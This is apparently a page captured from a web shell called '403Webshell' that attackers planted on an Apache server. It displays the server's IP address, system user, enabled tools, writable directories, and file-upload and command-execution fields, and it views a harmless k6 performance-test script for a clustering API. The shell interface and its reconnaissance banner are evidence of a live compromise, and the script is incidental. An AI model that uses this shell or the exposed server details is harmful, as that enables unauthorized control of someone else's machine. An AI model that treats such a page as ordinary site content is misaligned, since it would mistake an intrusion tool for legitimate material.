403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/distill/current/scripts/perf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/distill/current/scripts/perf/cluster-bench.js
/**
 * k6 nightly perf gate.
 *
 *   k6 run scripts/perf/cluster-bench.js \
 *     --env DISTILL_API=https://api.distill.philiprehberger.com \
 *     --env DISTILL_API_KEY=dst_..._...
 *
 * Triggers a clustering pass on the demo workspace and walks the
 * pending cluster list. Failure conditions:
 *
 *  - clustering enqueue takes longer than 2s.
 *  - first cluster page response takes longer than 1s.
 *  - more than 1% of cluster listings return a non-2xx.
 */
import http from 'k6/http';
import { check, sleep } from 'k6';

export const options = {
  scenarios: {
    cluster_pass: {
      executor: 'shared-iterations',
      vus: 1,
      iterations: 1,
      maxDuration: '4m',
    },
    list_clusters: {
      executor: 'constant-vus',
      vus: 2,
      duration: '30s',
      startTime: '5s',
    },
  },
  thresholds: {
    http_req_failed: ['rate<0.01'],
    'http_req_duration{name:cluster_run}': ['p(95)<2000'],
    'http_req_duration{name:cluster_list}': ['p(95)<1000'],
  },
};

const BASE = __ENV.DISTILL_API ?? 'http://localhost:8000';
const HEADERS = {
  Authorization: `Bearer ${__ENV.DISTILL_API_KEY ?? ''}`,
  Accept: 'application/json',
};

export default function () {
  if (__ITER === 0) {
    const resp = http.post(
      `${BASE}/v1/cluster/run`,
      null,
      { headers: HEADERS, tags: { name: 'cluster_run' } },
    );
    check(resp, { 'cluster_run queued': (r) => r.status === 202 });
  } else {
    const resp = http.get(
      `${BASE}/v1/clusters?status=pending`,
      { headers: HEADERS, tags: { name: 'cluster_list' } },
    );
    check(resp, {
      'cluster_list ok': (r) => r.status === 200,
      'cluster_list has data envelope': (r) => 'data' in r.json(),
    });
    sleep(1);
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit